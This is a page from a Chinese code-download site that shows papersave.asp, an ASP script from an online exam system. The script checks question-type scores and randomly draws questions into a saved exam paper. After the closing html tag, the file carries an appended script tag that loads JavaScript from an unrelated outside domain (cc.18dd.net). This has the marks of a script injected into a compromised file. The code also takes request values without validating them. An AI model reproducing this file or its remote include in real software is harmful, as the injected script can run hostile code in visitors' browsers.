⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 papersave.asp

📁 通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务
💻 ASP
字号:
<!--#include File="isAdmin.asp"-->
<!--#include file="../class/EPaper.asp"-->
<!--#include file="../class/EType.asp"-->
<!--#include file="../class/EQuestion.asp"-->
<!--#include file="../class/EPaperList.asp"-->
<html>
<head>
<title>保存试卷信息</title>
<link href=../style.css rel=STYLESHEET type=text/css>
</head>
<body>
<%
  '读取变量
  Dim qid,strid,tid,tv,tcount,strv
  Dim arr,arrb,arrc
  Dim vsum
  vsum = 0
  Set pa = New EPaper
  Set tp = New EType
  '读取被选中的试题类型和数量,计算总分是否为100
  strid = Request.QueryString("tid")
  strv = Request.QueryString("tv")
  '读取课程编号
  lid = Request("lid")
  arr = Split(strid,",")
  arrb = Split(strv,",")
  '分解strid
  For i = LBound(arr) To UBound(arr)
    tid = arr(i)
    '读取该类别的分数
	tp.GetTypeInfo(tid)
	If Not tp.rs.EOF Then
      tv = tp.rs("TValue")
	End If
	'读取对应的数量
	tcount = arrb(i)
	vsum = vsum + tv * CInt(tcount)
	response.write "<br><hr>"&tp.rs("TName")&",分值="&tv
    response.write ",数量="&tcount&",小计="&tv*tcount
  Next
  response.write "<br><hr><font color=red size=3><B>试卷总分= "&vsum & "</B></font>"
  If vsum<>100 Then
    Response.Write "<Script>alert('试题分数应为100!');history.go(-1);</Script>"
    Response.End
  End If
  '从试题表EQuestion表中随机抽取所需的试题
  Set eq = New EQuestion
  Set ls = New EPaperList
  '读取该类型试题数量,如果小于设定数值,则不能抽取
  For i = LBound(arr) To UBound(arr)
    tid = arr(i)
    '读取该类别的试题数量
	w = eq.GetCount(tid,lid)
	response.write "<br><br>试题数量="&w&",抽取数量="&arrb(i)
	If w<CInt(arrb(i)) Then
      Response.Write "<Script>alert('试题数量小于要抽取数量!');history.go(-1);</Script>"
	  Response.End
	End If
  Next
  '保存试卷信息
  pa.PName = Request("txtname")
  pa.LId = lid
  pa.CreateTime = Date
  pa.InsertPaper()
  '读取试卷编号
  pid = pa.GetMaxId()
  '将所有试题flag标记置为未选状态0
  eq.UpdateFlag 0,0
  '抽取试题
  For i = LBound(arr) To UBound(arr)
    tid = arr(i)  '试题类型
	w = eq.GetCount(tid,lid)'读取该类别的试题数量
    '如果试题数量等于所需数量,则直接生成试卷该类型试题
	If CInt(arrb(i))=w Then
	  eq.GetQuestionlist tid,lid
      '保存试题到EPaperList表
	  Do While Not eq.rs.EOF
	    ls.QId = eq.rs("QId")
		ls.PId = pid
		'读取类型分值
		tp.GetTypeInfo(tid)
		ls.TValue = tp.rs("TValue")
		ls.InsertList()
	    eq.rs.MoveNext
	  Loop
	Else
	  '如果试题数量大于所需数量,则随机抽取试题
	  For m=0 To CInt(arrb(i))-1
	    p = m
	    '生成随机数rn
	    s = Second(Now)
		Randomize
	    For mm=0 To s
	      rn = Round(Rnd()*w)
	    Next
	    '随机抽取该类型、课程、未选中的试题
	    eq.GetQuestionByType tid,lid,rn
	    If Not eq.rs.EOF Then
          '保存试题到EPaperList表
		  ls.QId = eq.rs("QId")
		  ls.PId = pid
		  '读取类型分值
		  tp.GetTypeInfo(tid)
		  ls.TValue = tp.rs("TValue")
		  ls.InsertList()
	      '更改试题flag标记为1
		  eq.UpdateFlag eq.rs("QId"),1
        Else
	      '重新抽取试题
		  m = p - 1
	    End If
      Next
	End If
  Next
  Response.Write "<h3>成功保存试题信息!</h3>"
%>
</body>
<script language="javascript">
  // 刷新父级窗口,延迟此关闭
  opener.location.reload();
  setTimeout("window.close()",800);
</script>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -